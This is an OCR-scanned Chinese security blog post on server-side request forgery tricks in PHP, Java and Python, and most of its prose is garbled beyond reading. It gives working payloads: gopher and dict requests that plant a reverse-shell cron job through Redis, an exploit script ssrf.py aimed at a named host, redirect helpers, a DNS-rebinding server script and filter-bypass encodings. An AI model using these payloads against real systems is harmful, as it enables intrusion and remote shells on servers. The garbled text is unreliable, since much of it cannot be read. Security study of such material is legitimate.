SSRF Tricks /)&% [Milk7ea]
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0x00 IS

SSRF imEFERER, XBEREHET SSRF W—EEIRKISUAERETES FHEME?.

0x01 SSRF in PHP

SSRF tHx<ER %K
£ PHP |1, 5 &% SSRF JRIEIREA :

file_get_contents()
fsockopen()
curl_exec(O)

HPpBUW T/ MEER:



o K& PHP HASFRE fsockopen() B Gopher Wrapper;
 file_get_contents() B9 Gopher X AEE# 1T URLencode;
 file_get_contents() xF Gopher # 302 Bki:H bug, SSHFIBKMK;
o file_get_contents() x5 php://input #M¥;
e curl/libcurl 7.43 k7 £ Gopher ##iX7F1E bug Bl %00 &, £k 7.49 RARTF;
o curl_exec() BRIANERERBEEE 5
curl_exec() &MY SSRF:

function curl($url){
$ch = curl_init(Q);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);

$url = $_GET['url'];
curl($url);

file_get_contents() i&RAY SSRF:

$url = $_GET['url'];;
echo file_get_contents($url);

fsockopen() &R SSRF:
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{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (1$fp)
{
echo "$errstr (error number $errno) \n";
ks
else
{
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents="";
while (!feof($fp))
{
$contents.= fgets($fp, 1024);
ks
fclose($fp);
return $contents;
ks
ks

B FI AR MY
£ PHP HEE85H4T SSRF KEFI AR :

o http/https: FERAFIRMAMARSS, RIBNNAVIRSHIBTAINIEORRS, TGS Struts2 B9 RCE LM
&

o file: MRS HFLNEREXXHRS;
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e dict: FF JIMEEERZRINTFIPAER, WRILAERImH, RIFNMN Redis Ak355F;

e gopher: BEUSIGRREIRIERIRREIRT, FBEUBR—R &AL, ARBRKNAMEIFTE IRSIFTEIRE, BIF|
A& Redis 1 PHP-FPM;

o ftp/ftps: FTP ERIHE). 1HH;
o tftp: UDP tMXT &, &% UDP R3;
e imap/imaps/pop3/smtp/smtps: EIEHR{EFE 2 33H;

e telnet: SSH/Telnet E&iho) RIEH;

A3t A

PHP 5y curl_exec() BRENSEHY SSRF JBATE CTF FEKLX %828, ZRHMESHIT cURL &1F,

FILABIE cur1l -v @3REF curl iR RE X FFAIMINEEY:

:/var/www/html# curl -V
curl 7.56.1 (x86 64-pc-linux-gnu) libcurl/7.56.1 OpenSSL/1.0.2m z1lib/1.2.8 libid
9.2 libpsl/0.19.1 (+libidn2/2.8.2) 1ibssh2/1.8.0 nghttp2/1.27.0 librtmp/2.3
case-Date: 2017-10-23
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s

rtmp ritsp scp sfttp smb smbs smtp smitps telnet tftip
Features: AsynchDNS IDN IPv6é Largefile GSS-API Kerberos SPNEGO NTLM NTLM WB SSL
libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
. /var /waw/html# [




FIAER, FAH kali 9EZ1F dict. file. gopher HEMNAY, EUbAHFARER iR MY,
JEE: Windows £ curl S EEILES| SRNG5S,
file:// THMUEZIE(H

curl -v 'file:///etc/passwd’

:/var/www/html# curl -v 'file:///etc/passwd’
root:x:9:0:root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
:sys:/dev:/usr/sbin/nologin
4:65534:sync:/bin:/bin/sync

:5:60:games: fusr/games: /usr/sbin/nologin
:12:man: /var/cache/man: /usr/sbin/nologin
:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:/var/mail:/usr/sbin/nologin
9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: fusr/sbin/nologin




proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

1
www-data:x:33:33:www-data:/var/www: fusr/sbin/nologin

backup:x:34:34:backup:/var/backups: fusr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

curl -v 'dict://127.0.0.1:22"'
curl -v 'dict://127.0.0.1:6379/1info"

- /var/www/html# curl -v 'dict://127.0.0.1:6379/info"
Trying 127 8.1...
* TCP_MNODELAY set
* Connected to 127.0.0.1 (127.8.8.1) port 6379 (#8)
-ERR Syntax error, try CLIENT (LIST | KILL | GETMAME | SETNAME | PAUSE | REPLY)

$2132

# Server

redis version:3.2.11

redis git shal:00000000
redis git dirty:@

redis build id:c9e50a686cc55b73




os:Linux 4.13.0-kalil-amd64 x86 64

arch bits:64

multiplexing api:epoll

gcc version:7.2.0

process id:4978
run_id:5ce7a3f350584720c36d56c8a7a02b862cc664a0

tcp port:6379
uptime in seconds:41
uptime_in days:©
hz:10

lru clock:5991259

gopher:// X% shell

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset¥%0d%0a$1%0d%0al%0d%0a$57%0d%0a%0a%0a%da*/1 * * * * pgsh -i >&
/dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%h0d¥%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0
a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%daconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%dd%0a$4%0d%daroot%0d%da* 1%
0d%0a$4%0d%0asave%0d%da*1%0d%0a$4%0d%daquit%dd%da’

HEEEM IP MigOR, v 57 BERNENR, BN 57 RHZE exp FRBKRERN 57 ™FT, LHEHA exp
Bl 20a%0a%0a*/1 * * * * bash -i >s& /dev/tcp/127.0.0.1/2333 0>51%0a%0a%0a ﬁZE F&E URL BBIBEMNKEN 57,

XERo £ FERIZEN AR ERHE,

2T
W_E#80 SSRF BRI THMIF, M As NEERMTLE
s1.php, FMET SSRF f5iEl, BEESE:

<?php



function curl(Surl){
$ch = curl_init(Q);

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);

curl_close($ch);

$url = $_GET['url'];
curl($url);

7>
MM exp, tERER, MAMET :

http://192.168.10.137/s1.php?url=file:///etc/passwd

http://192.168.10.137/s1.php?url=dict://127.0.0.1:6379/info
http://192.168.10.137/s1.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F _%2A3%250d%2500%243%250d%250aset%250d%250a%241%
250d%2500a1%250d%250a%2456%250d%2500%250d%2500%2500%2500%2A%2F 1%20%2A%20%2A%20%2A%20%2A%20bash%20-1%20%3E%26%20%2Fd

evih2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%2500%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250acon
f19%250d%250a%243%250d%250aset%250d%250a%243%250d%250ad1 r%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%25
0a%2A4%250d%250a%246%250d%250aconf1g%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbf11lename%250d%250a%244%2
50d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a

# Windows Ffile://tHikEBEHXF]
http://192.168.10.137/s1.php?url=file:///C:/Windows/win.ini

s2.php, BR&IHINY HTTP/HTTPS, HIREMHEETEMAN True (BRIATRBEEE)

<?php



function curl($url){
$ch = curl_init(Q);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
curl_close($ch);

$url = $_GET['url'];
curl($url);
7>

LERS{ER dict, gopher FMNELXT G L —TEE —HEZEE, [BR2ERILARA 302 BRI IHKED http/https 1)
PR

Redis 25§ Shell

Redis ERES K58 shell BRI T:

set 1 "\n\n\n*/1 * * * * pgsh -1 >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"
config set dir /var/spool/cron/

config set dbfilename root

save

i@id Gopher XL
Gopher #iX7E SSRF FIAH# iZizA, H URL BILUTF:

gopher://<host>:<port>/<gopher-path>_FHETCPEUIRR



WER, BT Gopher X, BHATAIMERZAiE TCP MR, MHIFHTT urlencode ZRA33EHM)E SSRF EH L,

B Gopher i3k X91ER] 2% Joychou KIEE
https://joychou.org/web/phpssrf.ntml#directory0418754728965590855

#8d Dict HiYSEM

XEBD5IFE: SSRF AT S

dict tXBE—"TINEE: dict://serverip:port/name:data [@fR523691i% 115K name data, HEFREBoIth L
r(CRLF), 2RI & dict://serverip:port/config:set:dir:/var/spool/cron / B9iE3K, redis Fi1TT
config set dir /var/spool/cron/ rn. BiXF AN AT A—HHZH1T redis getshell B9 exp, HIT5EMEEIAZIF] gopher
—HMR, [RE—, B gopher REFEE— url 155KENF], dict EES SIS,

FURFEHERAY wooyun EAFFHIBIANRIEE A XHIRIZA ssrf.py:

import requests
host = '104.224.151.234"'

port = '6379'
bhost = "www.4o04notfound.org'
bport=2333

vul_httpurl = "http://www.404notfound.org/ssrf.php?url="
_location = "http://www.404notfound.org/302.php'
shell_location = "http://www.404notfound.org/shell.php’

_payload = '?s=dict¥%26ip={host}%26port={port}%26data=flushall’.format( host = host,
port = port)

exp_uri = "{vul_httpurl}{0}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content


https://joychou.org/web/phpssrf.html#directory0418754728965590855
http://www.91ri.org/17111.html

_payload = '?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=
{bport}'.format( host = host, port = port, bhost = bhost, bport = bport)
exp_uri = "{vul_httpurl}{0}{1}'.format(shell_location, _payload,
vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

_payload=""7s=dict%26ip={host}%26port=
{port}¥26data=config:set:dir:/var/spool/cron/'.format( host = host, port = port)
exp_uri = "{vul_httpurl}{03}{1}'.format(_location, _payload, vul_httpurl=vul_httpurl)
print exp_uri

print requests.get(exp_uri).content

_payload="7s=dict%26ip={host}%26port=
{port}%26data=config:set:dbfilename:root'.format( host = host, port = port)
exp_uri = "{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

_payload="7s=dict¥%26ip={host}¥%26port={port}%26data=save’.format( host = host, port
= port)

exp_uri = "{vul_httpurl}{0}{1}'.format(_location, _payload,
vul_httpurl=vul_httpurl)

print exp_uri

print requests.get(exp_uri).content

AR curl BRIANARSZIF 302 Bki:, MizIAERE 302 BkEE, FRLABEE ssrf.php Ai0_E—1T “curl_setopt($ch,
CURLOPT_FOLLOWLOCATION, 1)” 3z158k%, 302.php X187 :

<?php
$ip = $_GETI'ip'1:



$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data™);

7>
shell.php TEATFENATF &3 shell B crontab BERES, KEH:

<?php

$ip = $_GET['ip'];

$port = $_GET['port'];

$bhost = $_GET['bhost'];

$bport = $_GET['bport'];

$scheme = $_GET['s'];

header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/I\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-

1\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x@a\"");
7>

1T ssrf.py, BIRJTE / var/spool/cron / TEANENES, Kk5# shell, nc HFEUL shell,

WA it PHP-FPM
SSRF #J4&iMth PHP-FPM ZEZBIMEX FE#HT: (XX PHP-FPM L&)

AR Gopher IR G IR 2 B izB I MIANERAY,

0x02 SSRF in Java


https://www.mi1k7ea.com/2019/08/25/%E6%B5%85%E8%B0%88PHP-FPM%E5%AE%89%E5%85%A8/#0x05-SSRF%E6%94%BB%E5%87%BB%E6%9C%AC%E5%9C%B0PHP-FPM

ATF A RN

BT Java jgF PHP 89 cURL, RELAREER PHP —HAILABE curl -v RKEBIFNMN, XEBATFILMER inport
sun.net.www.protocol %E%i?#ﬂﬂﬂ%ﬂ]‘ﬁ{

2

3 import sun.net.www.protocol.

: i . . i sun.net.www.protocol.file

5 import java.lo.I

6 H sun.net.www.protocol.ftp

7 public class tes | sun.netwww.protocol.http

8= public stati i sun.net.www.protocol.http.logging
; tr‘y-{R | H sun.net.www.protocol.http.ntlm

1 SE:i H sun.net.www.protocol.http.spnego
2 Stri [ sun.net.www.protocol.https

3 rt . e [ sun.net.www.protocol.jar

4 rt. e sun.net.www.protocol.mailto

0 b H sun.net.www.protocol.netdoc

6 catch(I0

ANERIZEXF file. ftp. http/https. jar. mailto. netdoc ZEXAY,

M SERR E B BEFIBMERIX N file # http/https 1.

SSRF fExZE
Java FHERIEREIERAIL

e HttpClient &



e HttpURLConnection &
e URLConnection 3£

e URL £

o OkHttp 3£

e ImagelO £

Request £

JEE: Request @3 HttpClient ZK##17 7 %M, EMTF Python B requests FE, HRERR, —THIBMAERENMTT
RE:

Request.Get(url).execute().returnContent().toStringQ);

Hep, (N335 HTTP/HTTPS fp%a93E (BNEBEERMNERT http)

HttpClient 3£

HttpURLConnection &

OkHttp £

Request £

SE?% sun.net.www.protocol ﬁﬁﬁ'l'/j]\i)\{ﬂ’{];'é .

e URLConnection z£



e URL %

e ImagelO £

pey e R )
#9518 JAVA ({iBE 1T 2 XXE 5 SSRF

MEREFERXNINE, XEMAER T https://github.com/pplsec/JavaVul/tree/master/MySSRF
HttpURLConnection &

String url = request.getParameter("url");

URL u = new URLCurl);
URLConnection urlConnection = u.openConnection();
HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;

BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream()));
String inputline;
StringBuffer html

new StringBuffer();

while ((inputLine = in.readLine()) != null) {

html.append(inputLine);
ks
System.out.println("html:" + html.toString());

in.close(Q);

URLConnection £

String url = request.getParameter("url");
URL u = new URLCurl);
URLConnection urlConnection = u.openConnection();

RiffaradRandar in — naw RiiffaradRandan(naw Trnnii+C+rnanmRandanliinl Cannact+inn Ana+Trnni i+ Cnanam N .


https://pplsec.github.io/2018/09/19/JAVA%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BXXE%E4%B8%8ESSRF/
https://github.com/pplsec/JavaVul/tree/master/MySSRF
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String inputline;
StringBuffer html = new StringBuffer();

while ((inputLine = in.readlLine()) !'= null) {
html.append(inputLine);

ks
System.out.println("html:" + html.toString());

in.close();

ImagelO 3£

String url = request.getParameter("url");
URL u = new URLCurl);
BufferedImage img = ImageIO.read(u);

Hthss

String url = request.getParameter("url™);
return Request.Get(url).execute().returnContent().toStringQ);

String url = request.getParameter("url");

URL u = new URLCurl);
inputStream = u.openStream();

String url = request.getParameter("url");
OkHttpClient client = new OkHttpClient();

com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().urlCurl).build(Q);
client.newCall(ok_http).execute();

String url = request.getParameter("url");



CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse = client.execute(httpGet);

158 jar:// o th
jar:// HIXBEMIZFEIREN jar XM REBEFHEFNAS, ERIUT:
jar:<url>1/{entry}
BN,  FSEEMEEZTEMNPRBELA MG
jar:http://a.com/b. jar!/file/within/the/zip
jar:// X3
e Jar file (Jar B8Z8) : Sar:nhttp://www.foo.com/bar/baz.jar!/

e Jar entry (Jar @EP;ALZﬁES{ﬁ:) *  Jjar:http://www.foo.com/bar/baz.jar!/COM/foo/a.class

e Jar directory (Jar BHENER) : jar:http://www.foo.com/bar/baz.jar!/COM/foo/

HELHHT jar:// hil7E Java SSRF FREVF|A—ARZIRER BT jar BHFIXHRS, LEANRDTE, EARNGEMERNKE
N —FFBEBBIT A AR SS R 2K+ .

EE20 T EAY poc @3REXB 4R jar 88 C3PO0.class X 14 :

http://127.0.0.1:8080/MySSRF/ssrf2?url=jar:http://127.0.0.1/ysoserial.jar!/ysoserial/payloads/C3P0@.class



Q, 127.0.0.1:8080/MySSRF/ssrf2?url=jar:http://127.0.0.1/ysoserial jar! /ysoserial/paylo:

IEFEFIFF ssrf2 *

HEE T
= ssrf2

Ty

3428 application/octet-stream
S LI

FRA RTT W RO



ST NP 1270018080

E3385E Firefox d{o]SMBEI{4?
(O FTF, @EHO) | AES(B)...
@ R0 (S)

LU BEaEAERERAEHEFNMBIESE, (A)

HEE R

RIFFEEER jar EFREARZS, WR jar BERFREBBEXMIEMSIEHRIGIMHE, ERXMMXEIFIAEZRG
A

Weblogic SSRF &
2Z Vulhub B9¥RE:  https://vulhub.org/#/environments/weblogic/ssrf/

0x03 SSRF in Python

SSRF 7£ Python b2 —##, IRESEE &R URL IEKRRNNSIMPAIIZSIN SSRf /A, RAZHMNHE
urllib 89 CRLF JENRAMNESFIAE, FIZ%: Hack Redis via Python urllib HTTP Header Injection

NuNnA 1IDI bkt E DurmAaaa


https://vulhub.org/#/environments/weblogic/ssrf/
https://security.tencent.com/index.php/blog/msg/106

VAUS UNL MBHLAL S DYNAadD

MS, RZEULREIIFE SSRF KRR A URL SE#HT TR, BEFRENKFESERS,

MR,

@fF4ET URL BHR&

BREERER
TRk, WRTBATE

AN
pay
T e MHITEIT: nhttp://a.com@10.10.10.100

UL SEFRIAEIBIER http://10.10.10.100 o

IP bt EE RS
BE, —EHEAERBEERELIFNRAR I EIEAMNIEIE, a0:

®  ~10(\.([2]1[0-4]\d|[2]1[5][0-5]1][01]2\d?\d)) {3}$

®  ~L72\.([11[6-911[21\dI3[01]) (\. ([21[0-41\d|[2][5][0-5]1([01]12\d?\d)){2}$

®  ~192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]2\d?\d)) {2}$
EERTEATTRT AR 1P ik #A T HIFE R Sl , BiaN 192.168.0.1 XMtk AT AKX B AX -
o 8 #HlIt&z: 0300.0250.0.1
6 HHIHEIL: 0xC0.0xA8.0.1

6 HHIEEME I 0xCOA80001

ST — AT

MBERBENHRIMAR URL SHESNERERNGER IP, BURIVNNZES

LA http://a.com



o 10 HHIEEHUE: 3232235521 (St 16 I EERRBIER 10 HHIBEHFR)
H4smkAe -

e 10.0.0.1 AT RY 10.1, iHEIKNEGHI IP ittt Apache &1 400 Bad Request, 1B Nginx., MySQL HHAhARS
HEEEE TR

 0.0.0.0 FILAE#ZIAB)EIAR It ;

BT xip.io BEFEIRMSE
RETHMABZNAT, a0 10.0.0.1 XA IP it 2F AT LA XA B E MY
. 10.0.0.1.xip.i0
e www.10.0.0.1.Xip.io
e mysite.10.0.0.1.xip.io

e f00.bar.10.0.0.1.xip.io

FUFH IPv6 &5

BLERSZZEZERE IPv6 NBER, BEAMXSZE IPve, MATBMER IPv6 B9AH#E IP 41 (::1  o0o000::1 3 IPV6 HY
AR I3 kG2 s,

FIE IDN &5


http://www.10.0.0.1.xip.io/

—LERLEIAHIE) TREY Curl £2XIFERMEEIR (Internationalized Domain Name, IDN) &Y, ERRfbER XREk
FREE, RIESOIUTEERFIHRNXFHFHAMN NS,

EXLEFHR, BOFHFREHEARE—TENER, I @xe0e0e.00m M ecxample.com ZH[E, FEXM
A, AU 020 @6 6 @ ® 9 0 FFEHHEIAMRRE,

FUF 30x kgLt

MR EHRZREIEWRSEG, EMRINERTT T URL A9 host, HEMIT TR, BADXPEHREIMEREN AT
R#HTE,

BILMERUN http://httpbin.org/redirect-to?url=http://192.168.0.1 Z%RSZMEE, (EEHT URL f8ET
192.168.0.1 XH AR P itit, FIRESMIENRIATNTIRIE, FTUBIEbItaY S kS ,

T RANBEEE 302 kLTl 307 Bki:, XHIET 307 BiiESTE A POST B KRFPIHIES, B2 302 BEA=,

kAR E G S INEI I

<?php

header("Location: file://etc/passwd");

7>

<?php
header("Location: dict://127.0.0.1:666/info");

7>

<?php
header("Location: gopher://127.0.0.1:666/_info");

7>


http://httpbin.org/redirect-to?url=http://192.168.0.1

DNS Rebinding

DNS Rebinding A AR F45id SSRF MUKk Sd ELRRIESE .

XEE THIF DNS Rebinding £zt SSRF idi8 URL 280955, BUT=MAA.
FEBEM TTL=0

— T ERNFERRE: XMTRFPIBER URL 41, BhRSH[IFSIIEIIT DNS BT, AE%T DNS fRSS5251RERY IP
oI FATHIET, MRAERBEF, MELZXIEK,

BRARTERER, F—/REER DNS RRSSHITERBEITEIE XRSIHABR URL ZEFE—TEZE, FRAXE
Z, A1 T DNS EFfER .

ZE5eht DNS B E RS, HMNFE—1ER, FEBXTEHRREITIEEEIF(]E 2RI DNS Server, EHAINAIEN
DNS Server FRE#FITARSS, 1RE TTL BSEAN 0, RXEMAIARTRE T, TENKEREN:

ARS523ImIRT URL S8, #H1TE—/X DNS @i, SKET7—1T3IERMAY IP

SITIRSAY IP BATHIET, RWMAIFRBR P, @I

AREZ22IHXF URL #4Tih8], BHF DNS RE2RISER TTL 0, FRUAER#HIT DNS #2417, X— & DNS fREZ 221K
[EHYE A ML,

HTELXSKTIIE, MRS ZRImIREEANMNEIRER .,
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A @ R 127.0.01 -- 1054

A @ BEiA 202.106.0.20 -- 1054

B # DNS AR5

Fomil—% NS iIERHM—5K A Igx:

NS test A ns.hOpe.site - 1098

Ns IR FZTIX N FIEE test.hOpe.site FEE M ns.hOpe.site B IRZ 2B, A DR ET ns.hOpe.site AIB7E ip Hitit

XXXX L

X IP bt F3EE DNS BRSS28, FHF Python Y twisted EERY name &R, #OMEEBANT, U root AXPRIE4TENH] :

from twisted.internet import reactor, defer

from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):

def _doDynamicResponse(self, query):
name = query.name.name

if name not in record or record[name]<1:
Aan="104 16 A2 1EA"
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else:
ip="171.18.0.2"

if name not in record:
record[nhame]=0
record[name]+=1

print name+" ===> "+ip

answer = dns.RRHeader(
name=name,
type=dns.A,
cls=dns.IN,
tt1=0,
payload=dns.Record_A(address=b'%s'%ip,tt1=0)
)

answers = [answer]
authority = []
additional = []

return answers, authority, additional

def query(self, query, timeout=None):

return defer.succeed(self._doDynamicResponse(query))

def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]

protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()

if __name__ == "__main__

V.



raise SystemExit(main())

BEEMEE HTTP MY
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ERIERY SSRF WEFAHPREIIRZ MY, 4 file. dict. gopher &, BILMERIXLEARTEIREININE B FAIMIREIITH]
A, BANESERSESHIMRME.

0x05 iFwiHHEa =

SSRF + X4 &2iRiR

SR TIETFE SSRF iwiE, BRH T REEM# jog FE A KBRS M. LWITATBAL S Apache TR, LE—"1
a.php.jpg RIBE XM, B8 SSRF MERME T,

SSRF+CRLF ;¥\ iEE
4 SSRF in Python FFfii,
SSRF+XXE i@id
22Z pWAPP #1 SSRF,

= i NN di i =a P AN



HIE—=RAATMIAHZ2E T
o Apache Hadoop itf2 @< T
e axis2-admin HBE Server G AT
e Confluence SSRF
 counchdb WEB API iZf2 s S HAT
o dict
o docker APl i@ LHIT
o Elasticsearch 5|2 Groovy BIZAT<LHIT
o ftp / ftps (FTP &%)
o glassfish EEHIZENF] war XEHERE BIIEH LT

e gopher

o HFS Zizap<iA1T

e http. https

e imap/imaps/pop3/pop3s/smtp/smtps (IEHEHR{EFE & 2355)
o Java I EOGSHIT
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e Jenkins Scripts }
e Idap

e mongodb

e php_fpm/fastcgi LT

o rtsp — smb/smbs (E3i% SMB)
o sftp

* ShellShock @ <HIAT

e Struts2 RCE

e telnet

o tftp (UDP tHiXH &)

e tomcat BmE<HIIT

e WebDav PUT HEEEXH
o WebSphere Admin BJE8E war [B)iZa<HIT

e zentoPMS iZFEar S HIIT
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